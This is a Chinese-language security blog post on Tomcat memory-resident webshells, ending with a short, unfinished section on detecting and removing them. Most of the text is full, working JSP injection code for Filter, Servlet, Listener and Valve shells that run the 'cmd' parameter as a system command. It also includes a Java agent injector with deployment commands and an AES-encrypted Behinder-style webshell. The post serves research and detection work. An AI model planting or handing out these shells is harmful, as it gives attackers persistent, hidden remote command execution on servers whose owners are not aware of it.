admin 发布的文章 - Yu4xr安全博客
首页
关于我
Search
1
java基础漏洞代码审计
1,333 阅读
2
Java反序列化攻击链:深入剖析与实战
1,120 阅读
3
第十五届巅峰极客wp_web
822 阅读
4
欢迎使用 Typecho
133 阅读
5
text
112 阅读
默认分类
ctf
src漏洞挖掘
内网渗透
代码审计
反序列化链分析于实战
Java组件安全
登录
找到
7
篇与
admin
相关的结果
Java Web内存马深入分析:从注入原理到检测查杀
默认分类
admin
1年前
0
0
0
2024-12-23
传统型内存马利用Java web Servlet API接口通过反射动态注册内存马,基于 Web 应用层面的技术. image-20241213165231203图片 1.filter类型的内存马 1.1filter基础 Filter(过滤器)是一个强大的组件,用于在请求到达Servlet之前或响应返回客户端之前对请求和响应进行预处理。Filter可以实现用户鉴权、日志记录、数据压缩、编码转换等功能。 Filter的定义位于web.xml中: image-20241209095653921图片 image-20241209095908668图片 init(FilterConfig config): Filter初始化时调用一般位于tomcat服务器开始部署的时候。 doFilter(ServletRequest request, ServletResponse response, FilterChain chain): 核心方法,用于处理请求并执行过滤逻辑。内存马的核心代码部分在这里执行。 destroy(): Filter销毁时调用,释放资源。 1.2Filter内存马原理 Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。 1.3Filter内存马注入流程与实现 image-20241213165251429图片 以jsp文件为例: <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% // 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter final String name = "filter"; // Filter 的名称 // 1. 获取 ServletContext ServletContext servletContext = request.getServletContext(); // 2. 通过反射获取 ApplicationContext // 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext) Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); // 设置字段可访问 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值 // 3. 通过反射获取 StandardContext // 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext) Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // 设置字段可访问 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值 // 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map) // 反射获取 StandardContext 中的 private 字段 "filterConfigs" Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); // 设置字段可访问 Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值 // 5. 检查是否已存在同名 Filter if (filterConfigs.get(name) == null) { // 6. 创建恶意的 Filter 实例 Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { // Filter 初始化方法 (此处为空) } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { // Filter 的核心处理方法 HttpServletRequest lrequest = (HttpServletRequest) servletRequest; HttpServletResponse lresponse = (HttpServletResponse) servletResponse; // 如果请求参数中包含 "cmd",则执行命令 if (lrequest.getParameter("cmd") != null) { Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令 // 读取命令执行结果 java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } // 将命令执行结果写入响应 lresponse.getOutputStream().write(stringBuilder.toString().getBytes()); lresponse.getOutputStream().flush(); lresponse.getOutputStream().close(); return; // 阻止请求继续传递 } filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求 } @Override public void destroy() { // Filter 销毁方法 } }; // 7. 创建 FilterDef (Filter 定义) FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); // 设置 Filter 实例 filterDef.setFilterName(name); // 设置 Filter 名称 filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名 standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext // 8. 创建 FilterMap (Filter 映射) FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式 filterMap.setFilterName(name); // 设置 Filter 名称 filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前) // 9. 创建 ApplicationFilterConfig (Filter 配置) // 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef) Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); // 设置构造方法可访问 // 通过反射创建 ApplicationFilterConfig 实例 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); // 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册 filterConfigs.put(name, filterConfig); } %>上传该jsp文件到webapp目录然后访问jsp文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd执行命令。 image-20241213112939198图片 主要的一些关键步骤: 首先获取ServletContext: 通过当前请求对象(request)或其他方式获取ServletContext,request对象的获取可以在jsp文件和filter,servlet,listen。ServletContext是Web应用,ServletContext 对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。 然后通过反射获取StandardContext: 通过反射获取ServletContext中的context字段,该字段类型为ApplicationContext。再通过反射获取ApplicationContext中的context字段,该字段类型为StandardContext,StandardContext是Tomcat中管理Web应用的核心组件。 最后动态注册Filter: 通过反射获取StandardContext中的filterConfigs字段,该字段是一个Map,存储了所有已注册的Filter配置。 创建恶意的Filter对象,该对象实现了Filter接口,并在doFilter方法中实现恶意逻辑,例如执行命令、上传文件、反弹Shell等。 创建FilterDef对象,设置Filter的名称、类名等信息。 创建FilterMap对象,设置Filter拦截的URL模式。 通过反射创建ApplicationFilterConfig对象,将StandardContext和FilterDef作为参数传入。 将Filter的名称和ApplicationFilterConfig对象添加到filterConfigs中。 2.Servlet类型的内存马 2.1 Servlet 基础 Servlet 是 Java Web 开发中的核心组件,它是一个运行在 Web 服务器端的 Java 程序,用于处理客户端请求并生成动态响应。Servlet 通常用于构建动态网站、Web 应用程序和 Web 服务。 image-20241210110852121图片 Servlet 接口定义了以下三个主要的方法: init(ServletConfig config): Servlet 初始化时调用,正常情况下用于读取配置信息和初始化资源。每个 Servlet 实例只会被初始化一次。 service(ServletRequest req, ServletResponse res): Servlet 处理请求的核心方法。对于 HTTP 请求,通常会调用 HttpServlet 的 doGet、doPost 等方法。 destroy(): Servlet 销毁时调用,用于释放资源。每个 Servlet 实例只会被销毁一次。 servlet的配置 image-20241211090920961图片 <servlet> <servlet-name>evilServlet</servlet-name> <servlet-class>com.example.filtershell.EvilServlet</servlet-class> <!-- 设置启动顺序 --> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>evilServlet</servlet-name> <url-pattern>/evil</url-pattern> </servlet-mapping>2.2 Servlet 内存马原理 Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。 2.3 Servlet 内存马的注入流程和实现 image-20241213165305920图片 JSP 代码实现 (servlet.jsp): <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.*" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.http.*" %> <% // 定义恶意Servlet类 class EvilServlet extends HttpServlet { @Override public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder sb = new StringBuilder(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } response.getWriter().write(sb.toString()); } catch (Exception e) { response.getWriter().write(e.toString()); } } } @Override public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } // 注入流程 final String servletName = "evilServlet"; final String urlPattern = "/evil"; // 1. 获取 StandardContext ServletContext servletContext = request.getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); // 2. 检查 Servlet 是否已存在,防止重复注入 if (standardContext.findChild(servletName) == null) { // 3. 创建 Wrapper Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(servletName); wrapper.setServletClass(EvilServlet.class.getName()); wrapper.setServlet(new EvilServlet()); wrapper.setLoadOnStartup(1); // 4. 添加 Servlet 配置 standardContext.addChild(wrapper); standardContext.addServletMappingDecoded(urlPattern, servletName); out.println("Servlet 注入成功!"); out.println("访问路径: " + urlPattern); out.println("支持参数: cmd"); } else { out.println("Servlet 已存在!"); } %>上传该jsp文件到webapp目录然后访问jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。 image-20241213113054719图片 主要的一些关键步骤: 恶意 EvilServlet 类: 继承自 HttpServlet,重写了 doGet 和 doPost 方法。如果请求参数中包含 cmd,则将其作为系统命令执行,并将结果返回给客户端。 注入流程: 获取 StandardContext: 与 Filter 型内存马类似,通过 ServletContext 和反射机制获取 StandardContext。 检查 Servlet 是否已存在: 通过 standardContext.findChild(servletName) 检查是否已存在同名的 Servlet,避免重复注入。 创建 Wrapper: 使用 standardContext.createWrapper() 创建一个 Wrapper 对象。 wrapper.setName(servletName): 设置 Servlet 名称。 wrapper.setServletClass(EvilServlet.class.getName()): 设置 Servlet 类名。 wrapper.setServlet(new EvilServlet()): 设置 Servlet 实例,也可以选择不进行设置。 wrapper.setLoadOnStartup(1): 设置 Servlet 的启动优先级,1 表示在 Web 应用启动时加载该 Servlet。 添加 Servlet 配置: standardContext.addChild(wrapper): 将 Wrapper 添加到 StandardContext 中。 standardContext.addServletMappingDecoded(urlPattern, servletName): 添加 URL 映射,将 /evil 映射到 evilServlet。 3.listen类型的内存马 3.1 Listener 基础 Listener (监听器) 是 Java Servlet 规范中定义的一种特殊组件,用于监听 Web 应用程序中的特定事件,并在事件发生时执行相应的操作。监听器可以用来监听多种类型的事件,例如: 应用程序生命周期事件: 与 ServletContext(应用程序)的初始化和销毁相关的事件。 会话生命周期事件: 与用户会话的创建、修改和失效相关的事件。 请求生命周期事件: 与 HTTP 请求的处理相关的事件。 属性变更: 与 ServletContext、会话或请求对象中属性的添加、删除或替换相关的事件。 image-20241211093825739图片 requestInitialized(ServletRequestEvent sre):此方法在每个 HTTP 请求开始时触发,如果 cmd 参数存在,它将 cmd 的值作为系统命令执行(使用 Runtime.getRuntime().exec())。 requestDestroyed(ServletRequestEvent sre):此方法在每个 HTTP 请求结束时调用。 Listener 的配置: 通常,Listener 在 web.xml 部署描述符中进行配置,例如: <listener> <listener-class>com.example.MyServletContextListener</listener-class> </listener>image-20241211093245789图片 与过滤器(Filter)和 Servlet 不同,Listener 不需要定义访问路由。服务器部署完成后,定义的类会自动被触发。 3.2 Listener 型内存马原理 基于 Listener 的内存马利用 Tomcat 的 API 和 Java 的反射机制,在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。 与 Filter 和 Servlet 型内存马的区别: 主要区别在于触发方式。Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发。例如,Filter 和 Servlet 的示例需要访问 /filter 或 /evil 才能触发内存马,而 Listener 只需要访问 /anything 即可触发。 3.3 Listener 型内存马的注入流程和实现 注入流程: image-20241213165326338图片 JSP 代码实现 (listener.jsp): <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="javax.servlet.*" %> <%@ page import="java.io.*" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <% // 定义恶意Listener class EvilListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { // 每次请求初始化的时候处理 System.out.println("start of listen"); HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader( new InputStreamReader(process.getInputStream())); StringBuilder sb = new StringBuilder(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } HttpServletResponse response = (HttpServletResponse) request.getAttribute("javax.servlet.response"); response.getWriter().write(sb.toString()); } catch (Exception e) { e.printStackTrace(); } } } @Override public void requestDestroyed(ServletRequestEvent sre) { // 每次请求结束时的处理 System.out.println("ends of listen"); } } // 注入流程 // 1. 获取StandardContext ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); // 2. 创建并添加Listener ServletRequestListener evilListener = new EvilListener(); standardContext.addApplicationEventListener(evilListener); out.println("Listener注入成功!"); %>上传listener.jsp访问listener.jsp触发代码,之后就可访问任意路由传参cmd执行命令。 image-20241213113133755图片 注入过程中的关键步骤: 获取 StandardContext: 从当前请求中获取 ServletContext 对象。 使用反射访问 ServletContext 中的 context 字段(该字段的类型为 ApplicationContext)。 再次使用反射访问 ApplicationContext 中的 context 字段(此时该字段的类型为 StandardContext)。StandardContext 是 Tomcat 内部对 Web 应用程序的表示。 创建并注册恶意 Listener: 创建 EvilListener 类的实例。 使用 StandardContext 对象的 addApplicationEventListener() 方法注册恶意 Listener。这会将 Listener 添加到 Web 应用程序的事件处理流程中。 Tomcat 特有 Valve 内存马 4.value类型的内存马 4. Valve 型内存马 4.1 Valve 基础 Valve (阀门) 是 Tomcat 特有的一种组件,是 Tomcat 的 Pipeline-Valve 架构中的组件,类似 Filter,但工作在更底层,存在于 Tomcat 的 Pipeline-Valve 架构中。Valve 可以拦截和处理进入 Tomcat 容器的 HTTP 请求,并在请求处理完成后对响应进行处理。 Pipeline-Valve 架构: Tomcat 的请求处理流程是通过 Pipeline-Valve 架构实现的。每个容器(Engine, Host, Context, Wrapper)都有自己的 Pipeline,Pipeline 中包含一系列 Valve,维护着先进先出的队列。 First Valve (首阀门): 管道中的第一个 Valve,通常用于执行一些全局性的预处理操作。 Intermediate Valve (中间阀门): 可以有多个,按顺序执行,用于实现各种业务逻辑。 Basic Valve (基础阀门): 管道的最后一个 Valve,每个 Pipeline 必须有且只有一个。它负责调用 Servlet 或下一个容器的 Pipeline。 Valve 的关键方法: invoke(Request request, Response response): 此方法在每个 HTTP 请求到达 Valve 时触发。Valve 可以在此方法中对请求进行处理,并决定是否将请求传递给下一个 Valve 或 Servlet。如果 cmd 参数存在,它可以将 cmd 的值作为系统命令执行 (使用 Runtime.getRuntime().exec())。getNext().invoke(request, response) 将请求传递到下一个 Valve。 image-20241213165338396图片 4.2 Valve 型内存马原理 基于 Valve 的内存马利用 Tomcat 的 API 和 Java 的反射机制,在运行时动态注册一个恶意的 Valve。当 HTTP 请求到达 Tomcat 容器时,这个恶意的 Valve 就会拦截请求并执行预先设定的恶意代码。 与 Listener、Filter 和 Servlet 型内存马的区别: 主要区别在于注入位置和触发时机。 Listener 型内存马 在特定事件发生时触发,例如应用程序启动或会话创建。 Filter 型内存马 在请求到达 Servlet 之前触发,需要配置 URL 映射。 Servlet 型内存马 本身就是一个 Servlet,需要配置 URL 映射。 Valve 型内存马 工作在 Tomcat 的底层请求处理流程中,不需要配置 URL 映射,可以在请求到达 Servlet 之前或之后触发,甚至可以拦截所有请求, 比 filter 更早拦截。 4.3 Valve 型内存马的注入流程和实现 注入流程和servlet相似: image-20241213165351070图片 JSP 代码实现 (valve.jsp): <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.*" %> <%@ page import="java.util.List" %> <%@ page import="org.apache.catalina.Pipeline" %> <%! class EvilValve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); StringBuilder sb = new StringBuilder(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } response.getWriter().write(sb.toString()); response.setStatus(HttpServletResponse.SC_OK); response.getWriter().flush(); response.getWriter().close(); return; } catch (Exception e) { e.printStackTrace(); } } getNext().invoke(request, response); } } %> <% try { // 1. 反射获取 StandardContext Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request req = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) req.getContext(); // 2. 获取 Pipeline Pipeline pipeline = standardContext.getPipeline(); // 3. 创建并添加 Valve pipeline.addValve(new EvilValve()); out.println("Valve 注入成功!"); } catch (Exception e) { e.printStackTrace(response.getWriter()); } %>上传 valve.jsp 访问 valve.jsp 触发代码,之后就可访问任意路由传参 cmd 执行命令。 注入过程中的关键步骤: 获取 StandardContext: 从当前请求对象 request 中通过反射获取 request 属性,它的类型是 org.apache.catalina.connector.Request。 通过 req.getContext() 获取 StandardContext 对象。 获取 Pipeline: 通过 standardContext.getPipeline() 获取 Pipeline 对象。 创建并注册恶意 Valve: 创建 EvilValve 类的实例。 使用 Pipeline 对象的 addValve() 方法注册恶意 Valve。这会将 Valve 添加到 Web 应用程序的 Valve 处理流程中。 内存马类型核心类/接口注入位置触发方式特点Filter 类型javax.servlet.FilterStandardContext 的 filterConfigs Map请求到达时,根据 URL 模式匹配触发基于 Web 应用层面的技术,配置简单,可以针对特定 URL 进行过滤Servlet 类型javax.servlet.ServletStandardContext 的 children Map通过配置的 URL 路径触发基于 Web 应用层面的技术,类似于 Filter,但直接处理请求和响应Listener 类型javax.servlet.ServletRequestListener、javax.servlet.ServletContextListener 等StandardContext 的 applicationEventListeners 列表Web 应用生命周期事件或请求事件触发,无需 URL 映射基于 Web 应用层面的技术,可以监听多种事件,触发范围更广Valve 类型org.apache.catalina.ValveStandardContext 的 Pipeline 的 Valve 链Tomcat 底层请求处理流程中触发,无需 URL 映射,可以拦截所有请求Tomcat 特有,工作在更底层,比 Filter 更早拦截请求,可以实现更灵活的控制。5.java agent技术动态注入内存马 5.1 Java Agent 基础 Java Agent 是一种能够在不修改应用程序源代码的情况下,动态修改 Java 应用程序行为的技术。它基于 java.lang.instrument 包实现,允许开发者在类加载时或运行时修改类的字节码,从而实现 AOP(面向切面编程)、性能监控、代码覆盖率分析、以及内存马注入等功能。 Java Agent 有两种加载方式: premain: 在 JVM 启动时通过 -javaagent 参数指定,在 main 方法执行之前加载。 agentmain: 在 JVM 启动后,通过 Attach API 动态连接到目标 JVM 进行加载。 核心概念: Instrumentation: java.lang.instrument.Instrumentation 接口提供了操作类定义的方法,例如 redefineClasses、addTransformer 等。 ClassFileTransformer: java.lang.instrument.ClassFileTransformer 接口定义了 transform 方法,用于转换类文件字节码。Agent 通过实现该接口来修改类的字节码。 MANIFEST.MF: Agent JAR 包的清单文件,需要指定 Premain-Class 或 Agent-Class 属性,以告诉 JVM Agent 的入口类。 其他可选属性包括:Can-Redefine-Classes、Can-Retransform-Classes 等,用于声明 Agent 的能力。 5.2 Java Agent 注入内存马原理 Java Agent 注入内存马的核心原理是利用 Instrumentation 和 ClassFileTransformer 接口修改或添加目标 JVM 中已加载的类的字节码,从而动态注册恶意的 Servlet、Filter 等组件,或者修改已有的 Servlet、Filter 的行为。 它不会修改磁盘上的文件,所有的修改都发生在内存中。 注入方式: 动态注册: 创建一个实现 javax.servlet.Servlet 接口的恶意类,并使用 Instrumentation 将其注册到 Web 容器 (例如 Tomcat) 中。 这通常需要利用反射调用 Web 容器内部的 API。 修改已有组件: 找到已加载的 Servlet 或 Filter 类,修改其字节码,例如在 service 或 doFilter 方法中插入恶意代码。 这需要使用字节码操作库,例如 Javassist、ASM 等。 5.3 Java Agent 注入内存马流程 (以 agentmain 方式注入 Servlet 为例) image-20241213165404301图片 步骤 1:编写恶意 Servlet (EvilServlet.java) package com.example; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; public class EvilServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain"); PrintWriter out = response.getWriter(); out.println("Evil Servlet is Running!"); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); java.util.Scanner scanner = new java.util.Scanner(process.getInputStream()).useDelimiter("\\A"); String output = scanner.hasNext() ? scanner.next() : ""; out.println(output); } catch (IOException e) { out.println("Error executing command: " + e.getMessage()); } } } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } 这个 Servlet 接收一个名为 cmd 的 HTTP 请求参数,并在服务器上执行该命令,然后将命令输出返回给客户端。 步骤 2:编写 Java Agent (Agent.java) package com.example; import java.lang.instrument.*; import java.security.ProtectionDomain; import javassist.*; public class Agent { public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("[+] Agent is running..."); inst.addTransformer(new ServletListenerTransformer(), true); } static class ServletListenerTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (!"org/apache/catalina/core/ApplicationFilterChain".equals(className)) { return null; } try { ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(this.getClass())); CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod method = cc.getDeclaredMethod("doFilter"); String code = "{ " + "javax.servlet.ServletContext context = $1.getServletContext();" + "if (context.getServletRegistration(\"EvilServlet\") == null) {" + " javax.servlet.ServletRegistration.Dynamic servlet = context.addServlet(\"EvilServlet\", \"com.example.EvilServlet\");" + " servlet.addMapping(\"/evil\");" + " System.out.println(\"[+] EvilServlet registered successfully!\");" + "}" + "}"; method.insertBefore(code); byte[] byteCode = cc.toBytecode(); cc.detach(); return byteCode; } catch (Exception e) { e.printStackTrace(); } return null; } } }这个 Agent.java 在 org.apache.catalina.core.ApplicationFilterChain 类的 doFilter 方法开始处插入代码,用于动态注册 EvilServlet。 步骤 3:编写注入程序 (Injector.java) import com.sun.tools.attach.VirtualMachine; public class Injector { public static void main(String[] args) throws Exception { if (args.length != 2) { System.err.println("Usage: java Injector <pid> <agent.jar>"); return; } String pid = args[0]; String agentJar = args[1]; VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(agentJar); vm.detach(); System.out.println("Agent loaded successfully."); } }这个文件使用 VirtualMachine API 将 Agent Jar 包注入到目标 JVM 中。 步骤 4:编译和打包 编译 Injector.java 文件: /usr/bin/jdk1.8.0_101/bin/javac -cp /usr/bin/jdk1.8.0_101/lib/tools.jar:. Injector.java 创建 MANIFEST.MF 文件 (在 com/example同级目录下创建 META-INF文件夹,并在其中创建 MANIFEST.MF 文件): Manifest-Version: 1.0 Agent-Class: com.example.Agent Can-Redefine-Classes: true Can-Retransform-Classes: true 打包 Agent.jar: image-20241213160910612图片 步骤 5:部署和注入 获取 Tomcat PID: 使用 jps 或 ps aux | grep java 命令找到 Tomcat 的进程 ID。 运行 Injector: 将Injector.class文件复制到和tools.jar同一个目录下。执行以下命令注入 Agent: sudo -u www /usr/bin/jdk1.8.0_101/bin/java -cp /usr/bin/jdk1.8.0_101/lib/tools.jar:. Injector <Tomcat PID> /path/to/agent.jar  image-20241213161418125图片 内存马定位和查杀 1. 内存马定位 内存马的定位主要从流量特征和代码特征两个方面入手。 1.1 流量特征分析 通过分析网络流量,可以识别出潜在的内存马活动。以下是一些常见的可疑流量特征: 异常请求路径和状态码 GET 请求: 访问不存在的路径,但返回 404 状态码,同时携带可疑参数,例如 /memshell?cmd=calc,其中 /memshell 路由并不存在,但请求却可能被执行。 POST 请求: 访问正常路径,返回 200 状态码,但请求体中包含恶意命令,且命令被成功执行。 示例: 攻击者可能会尝试通过访问 /shell, /cmd, /hack, /test 等不存在的路径,并携带参数执行命令。 动态变化的数据包大小: 内存马在执行命令或返回结果时,会导致数据包大小发生动态变化,这是内存马活动的典型特征。 特殊的 User-Agent 或 Referer 字段: 攻击者有时会使用特殊的 User-Agent 或 Referer 字段来标识或控制内存马。 异常的响应时间: 内存马执行命令可能导致响应时间变长或不稳定。 alt text图片 1.2 代码特征分析 通过分析 Web 应用的 Class 文件、Jar 包以及运行时内存数据,可以发现潜在的内存马代码。以下是一些常见的可疑代码特征: 连接密码: 内存马通常会设置连接密码,用于远程控制和执行命令。例如,代码中可能存在 password, key, token 等字符串,用于身份验证。 自定义路由: 内存马会注册自定义的路由,用于接收攻击者的指令。例如,代码中可能存在 @WebServlet, @RequestMapping 等注解,用于映射 URL 到恶意代码。 加解密操作: 为了隐藏恶意代码和通信内容,内存马通常会使用加解密算法,例如 AES、Base64 等。代码中可能存在 javax.crypto, java.util.Base64 等相关的类和方法。 恶意的代码执行: 内存马的核心功能是执行恶意命令。代码中可能存在 Runtime.getRuntime().exec(), ProcessBuilder 等方法,用于执行系统命令。 动态注册组件: 内存马可能会利用 Java 反射机制动态注册 Filter、Servlet、Listener 等组件,例如 ClassLoader.defineClass(), Class.forName() 等方法。 可疑的类名和包名: 内存马的类名和包名通常会伪装成正常的类,但可能包含一些可疑的关键词,例如 shell, cmd, hack, util 等。 以冰蝎4.0默认aes加密为例 <%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %> <%! // 特征:加解密操作,密钥硬编码 private byte[] Decrypt(byte[] data) throws Exception { // 特征:连接密钥 String k="e45e329feb5d925b"; javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));// 特征:AES 加密算法, byte[] decodebs; Class baseCls ; try{ // 特征:Base64 解码,兼容 Java 8 及以上版本和旧版本 baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { System.out.println("444444"); baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); } return c.doFinal(decodebs); } %> <%! // 特征:自定义 ClassLoader,用于加载恶意类 class U extends ClassLoader{ U(ClassLoader c){super(c);} public Class g(byte []b){ return super.defineClass(b,0,b.length); } } %> <% // 特征:接收 POST 请求,执行恶意代码 if (request.getMethod().equals("POST")){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buf = new byte[512]; int length=request.getInputStream().read(buf); while (length>0) { byte[] data= Arrays.copyOfRange(buf,0,length); bos.write(data); length=request.getInputStream().read(buf); } /* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性 out.clear(); out=pageContext.pushBody(); */ out.clear(); out=pageContext.pushBody(); // 特征:解密请求体数据,加载并实例化恶意类,执行恶意代码 new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext); } %>2. 内存马查杀 image-20241213170019855图片 2.1 基于 Java Agent 技术的内存马查杀工具 前面已经提到了java agent可以动态的修改字节码用来动态注册内存马,当然也可以用该技术处理内存马。 2.1.1 工具一:通过 JSP 脚本扫描 Java Web Filter/Servlet/Listener 类型内存马 工具地址: 通过jsp脚本扫描java web Filter/Servlet/Listner类型内存马 原理: 该工具通过 JSP 脚本实现,利用反射机制遍历 Tomcat 容器中的 Filter、Servlet 和 Listener,并检查它们的 ClassLoader 是否与正常的 ClassLoader 一致。如果 ClassLoader 不一致,则可能存在内存马。 使用方法: 下载项目中的 tomcat-memshell-scanner.jsp 文件。 将 tomcat-memshell-scanner.jsp 文件上传到目标 Tomcat 服务器的 Web 应用目录下。 通过浏览器访问 tomcat-memshell-scanner.jsp 